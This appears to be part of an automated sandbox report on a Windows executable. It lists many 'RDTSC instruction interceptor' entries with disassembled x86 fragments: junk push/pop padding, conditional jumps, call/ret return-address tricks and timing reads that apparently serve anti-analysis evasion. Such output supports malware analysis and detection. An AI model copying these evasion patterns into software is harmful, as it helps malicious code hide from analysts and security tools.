Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AFF823 second address: AFF85A instructions: 0x00000000 rdtsc 0x00000002 jl 00007FDDBD19A026h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007FDDBD19A037h 0x0000000f pushad 0x00000010 push edi 0x00000011 push ebx 0x00000012 pop ebx 0x00000013 push ecx 0x00000014 pop ecx 0x00000015 pop edi 0x00000016 je 00007FDDBD19A02Ch 0x0000001c push ecx 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B095D8 second address: B095FA instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jno 00007FDDBCB6A6C6h 0x00000009 pop ebx 0x0000000a jnl 00007FDDBCB6A6CCh 0x00000010 pop edx 0x00000011 pop eax 0x00000012 push ebx 0x00000013 pushad 0x00000014 jp 00007FDDBCB6A6C6h 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B0F643 second address: B0F647 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B0F647 second address: B0F658 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b jnl 00007FDDBCB6A6C6h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B0F658 second address: B0F686 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDDBD19A033h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FDDBD19A035h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B0F686 second address: B0F68A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B0FCD2 second address: B0FCD8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ADE486 second address: ADE4BE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jp 00007FDDBCB6A6C6h 0x0000000b pushad 0x0000000c popad 0x0000000d popad 0x0000000e jnc 00007FDDBCB6A6CCh 0x00000014 pop edx 0x00000015 pop eax 0x00000016 push esi 0x00000017 push ebx 0x00000018 pushad 0x00000019 popad 0x0000001a push esi 0x0000001b pop esi 0x0000001c pop ebx 0x0000001d push eax 0x0000001e push edx 0x0000001f jmp 00007FDDBCB6A6D3h 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ADE4BE second address: ADE4C2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B144A0 second address: B144B7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FDDBCB6A6D1h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B144B7 second address: B144BB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B144BB second address: B144C9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDDBCB6A6CAh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B144C9 second address: B144E2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push esi 0x00000009 jnl 00007FDDBD19A02Ch 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B144E2 second address: B144F6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FDDBCB6A6D0h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B144F6 second address: B14500 instructions: 0x00000000 rdtsc 0x00000002 jo 00007FDDBD19A026h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B14636 second address: B1463B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B147A5 second address: B147A9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B147A9 second address: B147CA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jmp 00007FDDBCB6A6D9h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B147CA second address: B147E9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FDDBD19A039h 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B147E9 second address: B147ED instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B147ED second address: B14829 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FDDBD19A036h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 jmp 00007FDDBD19A037h 0x00000015 pushad 0x00000016 popad 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B14829 second address: B1482E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B1482E second address: B14842 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FDDBD19A02Eh 0x00000009 push edi 0x0000000a pop edi 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B149C7 second address: B149D7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jbe 00007FDDBCB6A6C6h 0x0000000a jnp 00007FDDBCB6A6C6h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B149D7 second address: B149DD instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B14CC6 second address: B14CCB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B14FAF second address: B14FB3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B14FB3 second address: B14FC4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FDDBCB6A6CBh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B14FC4 second address: B14FCE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jng 00007FDDBD19A026h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B171BC second address: B171C0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B171C0 second address: B171CA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B17275 second address: B17279 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B17932 second address: B17938 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B17B76 second address: B17B80 instructions: 0x00000000 rdtsc 0x00000002 jno 00007FDDBCB6A6C6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B17B80 second address: B17B86 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B17C0C second address: B17C10 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B17C10 second address: B17C2D instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FDDBD19A026h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b jmp 00007FDDBD19A030h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B17CC6 second address: B17CD4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pushad 0x00000006 jno 00007FDDBCB6A6C6h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B17E79 second address: B17E7F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B1849D second address: B184A1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B18DFC second address: B18E00 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B18E00 second address: B18E06 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B1CAE0 second address: B1CAE6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B1CAE6 second address: B1CAEA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B1CAEA second address: B1CB0A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a jmp 00007FDDBD19A033h 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B1A955 second address: B1A95B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B1A95B second address: B1A95F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B1D51B second address: B1D562 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 nop 0x00000007 mov edi, ecx 0x00000009 push 00000000h 0x0000000b movsx esi, si 0x0000000e push 00000000h 0x00000010 push 00000000h 0x00000012 push ecx 0x00000013 call 00007FDDBCB6A6C8h 0x00000018 pop ecx 0x00000019 mov dword ptr [esp+04h], ecx 0x0000001d add dword ptr [esp+04h], 00000014h 0x00000025 inc ecx 0x00000026 push ecx 0x00000027 ret 0x00000028 pop ecx 0x00000029 ret 0x0000002a sbb si, C103h 0x0000002f adc edi, 0BE72074h 0x00000035 xchg eax, ebx 0x00000036 push eax 0x00000037 push edx 0x00000038 jmp 00007FDDBCB6A6CDh 0x0000003d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B1D562 second address: B1D568 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B1D568 second address: B1D56C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B212FC second address: B21302 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B1BDDF second address: B1BDE3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B21879 second address: B2187F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B2187F second address: B21883 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B247FB second address: B24805 instructions: 0x00000000 rdtsc 0x00000002 jc 00007FDDBD19A02Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B2561F second address: B25625 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B25625 second address: B25641 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push esi 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007FDDBD19A033h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B25641 second address: B25645 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B27898 second address: B278F5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDDBD19A037h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c mov dword ptr [ebp+12452D41h], esi 0x00000012 push 00000000h 0x00000014 push 00000000h 0x00000016 push edx 0x00000017 call 00007FDDBD19A028h 0x0000001c pop edx 0x0000001d mov dword ptr [esp+04h], edx 0x00000021 add dword ptr [esp+04h], 00000014h 0x00000029 inc edx 0x0000002a push edx 0x0000002b ret 0x0000002c pop edx 0x0000002d ret 0x0000002e mov bx, 816Fh 0x00000032 adc di, 07AFh 0x00000037 push 00000000h 0x00000039 mov ebx, dword ptr [ebp+1247596Dh] 0x0000003f push eax 0x00000040 pushad 0x00000041 push eax 0x00000042 push edx 0x00000043 jg 00007FDDBD19A026h 0x00000049 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B1DDE7 second address: B1DDEB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B249D8 second address: B249DD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B249DD second address: B249E2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B2876E second address: B28774 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B28774 second address: B2877A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B2C70B second address: B2C719 instructions: 0x00000000 rdtsc 0x00000002 jns 00007FDDBD19A026h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B2C719 second address: B2C71D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B2C71D second address: B2C72E instructions: 0x00000000 rdtsc 0x00000002 jp 00007FDDBD19A026h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f push ebx 0x00000010 pop ebx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B2C72E second address: B2C790 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 nop 0x00000008 and di, 0C25h 0x0000000d push 00000000h 0x0000000f push 00000000h 0x00000011 push eax 0x00000012 call 00007FDDBCB6A6C8h 0x00000017 pop eax 0x00000018 mov dword ptr [esp+04h], eax 0x0000001c add dword ptr [esp+04h], 00000017h 0x00000024 inc eax 0x00000025 push eax 0x00000026 ret 0x00000027 pop eax 0x00000028 ret 0x00000029 mov bx, 70C5h 0x0000002d push 00000000h 0x0000002f push 00000000h 0x00000031 push ebx 0x00000032 call 00007FDDBCB6A6C8h 0x00000037 pop ebx 0x00000038 mov dword ptr [esp+04h], ebx 0x0000003c add dword ptr [esp+04h], 00000014h 0x00000044 inc ebx 0x00000045 push ebx 0x00000046 ret 0x00000047 pop ebx 0x00000048 ret 0x00000049 jmp 00007FDDBCB6A6CDh 0x0000004e xchg eax, esi 0x0000004f pushad 0x00000050 push esi 0x00000051 push eax 0x00000052 push edx 0x00000053 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B2688F second address: B26896 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B2D70F second address: B2D715 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B27A58 second address: B27A7A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop esi 0x00000007 push eax 0x00000008 pushad 0x00000009 push esi 0x0000000a jmp 00007FDDBD19A02Fh 0x0000000f pop esi 0x00000010 push eax 0x00000011 push edx 0x00000012 jc 00007FDDBD19A026h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B306AD second address: B306B1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B306B1 second address: B306BD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a push ebx 0x0000000b pop ebx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B306BD second address: B306C3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B306C3 second address: B306D1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 push edi 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c push ebx 0x0000000d pop ebx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B306D1 second address: B306D5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B30C89 second address: B30CBE instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push edx 0x00000004 pop edx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push ecx 0x0000000a jnc 00007FDDBD19A028h 0x00000010 pop ecx 0x00000011 nop 0x00000012 mov edi, 57CCB679h 0x00000017 push 00000000h 0x00000019 jmp 00007FDDBD19A02Ah 0x0000001e push 00000000h 0x00000020 mov bx, di 0x00000023 push eax 0x00000024 push eax 0x00000025 push edx 0x00000026 push eax 0x00000027 push edx 0x00000028 jne 00007FDDBD19A026h 0x0000002e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B30CBE second address: B30CC2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B30CC2 second address: B30CC8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B30CC8 second address: B30CD2 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FDDBCB6A6CCh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B2D940 second address: B2D945 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B2EA16 second address: B2EA20 instructions: 0x00000000 rdtsc 0x00000002 jo 00007FDDBCB6A6C6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B2EA20 second address: B2EA3D instructions: 0x00000000 rdtsc 0x00000002 jns 00007FDDBD19A028h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e jg 00007FDDBD19A026h 0x00000014 jc 00007FDDBD19A026h 0x0000001a popad 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B30DE6 second address: B30E90 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FDDBCB6A6CCh 0x0000000b popad 0x0000000c nop 0x0000000d mov dword ptr [ebp+122D5B05h], ebx 0x00000013 push dword ptr fs:[00000000h] 0x0000001a push ebx 0x0000001b call 00007FDDBCB6A6CDh 0x00000020 mov edi, dword ptr [ebp+122D2BEAh] 0x00000026 pop ebx 0x00000027 pop ebx 0x00000028 mov dword ptr fs:[00000000h], esp 0x0000002f or edi, 25E35177h 0x00000035 mov eax, dword ptr [ebp+122D0B89h] 0x0000003b mov di, cx 0x0000003e mov bx, FB93h 0x00000042 push FFFFFFFFh 0x00000044 push 00000000h 0x00000046 push edx 0x00000047 call 00007FDDBCB6A6C8h 0x0000004c pop edx 0x0000004d mov dword ptr [esp+04h], edx 0x00000051 add dword ptr [esp+04h], 00000019h 0x00000059 inc edx 0x0000005a push edx 0x0000005b ret 0x0000005c pop edx 0x0000005d ret 0x0000005e mov dword ptr [ebp+122D3DFEh], edx 0x00000064 nop 0x00000065 jmp 00007FDDBCB6A6D1h 0x0000006a push eax 0x0000006b push eax 0x0000006c push edx 0x0000006d js 00007FDDBCB6A6DBh 0x00000073 jmp 00007FDDBCB6A6D5h 0x00000078 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B3A515 second address: B3A51B instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B3A51B second address: B3A52B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ecx 0x00000007 pushad 0x00000008 popad 0x00000009 push eax 0x0000000a pop eax 0x0000000b pop ecx 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B3A52B second address: B3A531 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B3A531 second address: B3A535 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B39FCC second address: B39FD7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007FDDBD19A026h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B3A14C second address: B3A170 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 jng 00007FDDBCB6A6C6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FDDBCB6A6D4h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B3A170 second address: B3A174 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B3E4E2 second address: B3E4FA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007FDDBCB6A6CFh 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B3E4FA second address: B3E4FE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AD4385 second address: AD438F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jne 00007FDDBCB6A6C6h 0x0000000a rdtsc
